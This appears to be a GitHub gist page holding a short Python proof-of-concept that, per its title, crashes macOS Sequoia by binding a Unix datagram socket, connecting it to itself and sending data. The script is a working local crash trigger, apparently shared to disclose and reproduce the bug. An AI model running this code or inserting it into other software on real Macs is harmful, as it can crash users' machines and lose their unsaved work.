Created
October 8, 2024 12:18
-
-
Save wdormann/85426467dd5a1d310d1d208fc16ade23 to your computer and use it in GitHub Desktop.
Crash macOS Sequoia with a simple attempt to use a Unix datagram
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import os | |
def main(): | |
# Create a Unix Datagram (DGRAM) socket | |
sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) | |
# Bind the socket to a file | |
socket_path = './sock' | |
if os.path.exists(socket_path): | |
os.remove(socket_path) | |
sock.bind(socket_path) | |
# Connect the socket to its own address | |
sock.connect(socket_path) | |
# Send data | |
sock.send(b'test') | |
# Receive data | |
data = sock.recv(4) | |
print(data) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment